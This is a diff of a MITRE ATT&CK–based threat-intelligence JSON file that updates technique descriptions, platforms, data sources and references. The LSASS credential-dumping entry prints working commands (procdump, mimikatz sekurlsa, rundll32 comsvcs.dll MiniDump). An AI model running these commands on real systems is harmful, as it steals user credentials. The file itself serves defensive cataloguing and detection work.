"meta": {
"external_id": "T1580",
"kill_chain": [
@@ -11471,10 +11759,12 @@
"https://attack.mitre.org/techniques/T1580",
"https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html",
"https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html",
+ "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html",
"https://cloud.google.com/sdk/gcloud/reference/compute/instances/list",
"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest",
"https://expel.io/blog/finding-evil-in-aws/",
- "https://content.fireeye.com/m-trends/rpt-m-trends-2020"
+ "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
+ "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html"
]
},
"uuid": "57a3d31a-d04f-4663-b2da-7df8ec3f8c9d",
@@ -11517,7 +11807,8 @@
"Linux",
"Azure AD",
"Office 365",
- "Google Workspace"
+ "Google Workspace",
+ "IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1606",
@@ -11619,6 +11910,7 @@
"mitre-attack:discovery"
],
"mitre_data_sources": [
+ "Pod: Pod Metadata",
"Process: Process Creation",
"Command: Command Execution",
"Group: Group Enumeration",
@@ -11633,11 +11925,13 @@
"IaaS",
"Linux",
"macOS",
- "Google Workspace"
+ "Google Workspace",
+ "Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1069",
- "https://capec.mitre.org/data/definitions/576.html"
+ "https://capec.mitre.org/data/definitions/576.html",
+ "https://kubernetes.io/docs/reference/access-authn-authz/authorization/"
]
},
"uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce",
@@ -11740,7 +12034,7 @@
"value": "Space after Filename - T1151"
},
{
- "description": "Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, and utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.",
+ "description": "Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.",
"meta": {
"external_id": "T1611",
"kill_chain": [
@@ -11761,7 +12055,8 @@
"https://docs.docker.com/get-started/overview/",
"https://docs.docker.com/storage/bind-mounts/",
"https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html",
- "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/"
+ "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/",
+ "https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/"
]
},
"uuid": "4a5b7ade-8bb5-4853-84ed-23f262002665",
@@ -11956,7 +12251,7 @@
"value": "Remote Access Software - T1219"
},
{
- "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally.\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)",
+ "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)",
"meta": {
"external_id": "CAPEC-555",
"kill_chain": [
@@ -11971,11 +12266,13 @@
"mitre_platforms": [
"Windows",
"Linux",
- "Containers"
+ "Containers",
+ "macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1133",
"https://capec.mitre.org/data/definitions/555.html",
+ "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac",
"https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/",
"https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html",
"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
@@ -12058,7 +12355,7 @@
"value": "Account Access Removal - T1531"
},
{
- "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share.",
+ "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.",
"meta": {
"external_id": "CAPEC-643",
"kill_chain": [
@@ -12184,7 +12481,7 @@
"value": "Capture Clipboard Data - T1414"
},
{
- "description": "An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap) (Citation: Motherboard-Simswap2). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). \n\nOne use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account (Citation: Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap).",
+ "description": "An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap)\n\nOne use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap)",
"meta": {
"external_id": "STA-22",
"kill_chain": [
@@ -12334,6 +12631,34 @@
"uuid": "d3df754e-997b-4cf9-97d4-70feb3120847",
"value": "Spearphishing via Service - T1194"
},
+ {
+ "description": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path \\\\SYSVOL\\\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.",
+ "meta": {
+ "external_id": "T1615",
+ "kill_chain": [
+ "mitre-attack:discovery"
+ ],
+ "mitre_data_sources": [
+ "Network Traffic: Network Traffic Content",
+ "Active Directory: Active Directory Object Access",
+ "Script: Script Execution",
+ "Command: Command Execution",
+ "Process: Process Creation"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1615",
+ "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/",
+ "https://adsecurity.org/?p=2716",
+ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult",
+ "https://github.com/EmpireProject/Empire"
+ ]
+ },
+ "uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b",
+ "value": "Group Policy Discovery - T1615"
+ },
{
"description": "~/.bash_profile and ~/.bashrc are shell scripts that contain shell commands. These files are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the ~/.bash_profile script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the ~/.bashrc script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment. \n\nThe macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nAdversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: amnesia malware).",
"meta": {
@@ -12355,6 +12680,32 @@
"uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8",
"value": "Malicious Shell Modification - T1156"
},
+ {
+ "description": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)",
+ "meta": {
+ "external_id": "T1185",
+ "kill_chain": [
+ "mitre-attack:collection"
+ ],
+ "mitre_data_sources": [
+ "Process: Process Modification",
+ "Process: Process Access",
+ "Logon Session: Logon Session Creation"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1185",
+ "https://en.wikipedia.org/wiki/Man-in-the-browser",
+ "https://www.cobaltstrike.com/help-browser-pivoting",
+ "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses",
+ "https://cobaltstrike.com/downloads/csmanual38.pdf"
+ ]
+ },
+ "uuid": "544b0346-29ad-41e1-a808-501bb4193f47",
+ "value": "Browser Session Hijacking - T1185"
+ },
{
"description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)",
"meta": {
@@ -13306,7 +13657,7 @@
"value": "Create custom payloads - T1345"
},
{
- "description": "If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL).",
+ "description": "If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to adversary-in-the-middle attacks (Citation: FireEye-SSL).",
"meta": {
"external_id": "APP-1",
"kill_chain": [
@@ -13977,7 +14328,7 @@
"value": "Network Boundary Bridging - T1599"
},
{
- "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.",
+ "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)",
"meta": {
"external_id": "T1053.001",
"kill_chain": [
@@ -13995,7 +14346,9 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1053/001",
- "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/"
+ "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/",
+ "https://gtfobins.github.io/gtfobins/at/",
+ "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/"
]
},
"related": [
@@ -14075,7 +14428,7 @@
"value": "Mark-of-the-Web Bypass - T1553.005"
},
{
- "description": "Adversaries may use the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png.\n\nA common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.",
+ "description": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.",
"meta": {
"external_id": "T1036.002",
"kill_chain": [
@@ -14175,6 +14528,9 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -14607,7 +14963,7 @@
"value": "Drive-by Compromise - T1456"
},
{
- "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms.",
+ "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)",
"meta": {
"external_id": "T1559",
"kill_chain": [
@@ -14619,10 +14975,12 @@
"Script: Script Execution"
],
"mitre_platforms": [
- "Windows"
+ "Windows",
+ "macOS"
],
"refs": [
- "https://attack.mitre.org/techniques/T1559"
+ "https://attack.mitre.org/techniques/T1559",
+ "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
]
},
"uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d",
@@ -14712,7 +15070,7 @@
"value": "Junk Data - T1001.001"
},
{
- "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.",
+ "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.",
"meta": {
"external_id": "CAPEC-117",
"kill_chain": [
@@ -14744,7 +15102,7 @@
"value": "Traffic Duplication - T1020.001"
},
{
- "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n",
+ "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\nBuilt-in Windows tools such as comsvcs.dll can also be used:\n\n* rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n",
"meta": {
"external_id": "T1003.001",
"kill_chain": [
@@ -14761,6 +15119,8 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1003/001",
+ "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/",
+ "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf",
"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
"https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/",
"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea",
@@ -15268,8 +15628,7 @@
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
- "File: File Metadata",
- "File: File Content"
+ "File: File Metadata"
],
"mitre_platforms": [
"Linux",
@@ -15402,7 +15761,8 @@
"Linux",
"macOS",
"Windows",
- "SaaS"
+ "SaaS",
+ "IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1606/001",
@@ -15427,6 +15787,9 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -15517,7 +15880,7 @@
"value": "Default Accounts - T1078.001"
},
{
- "description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file.",
+ "description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.",
"meta": {
"external_id": "T1087.001",
"kill_chain": [
@@ -15584,8 +15947,7 @@
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
- "File: File Metadata",
- "File: File Content"
+ "File: File Metadata"
],
"mitre_platforms": [
"macOS",
@@ -15608,7 +15970,7 @@
"value": "Software Packing - T1027.002"
},
{
- "description": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).",
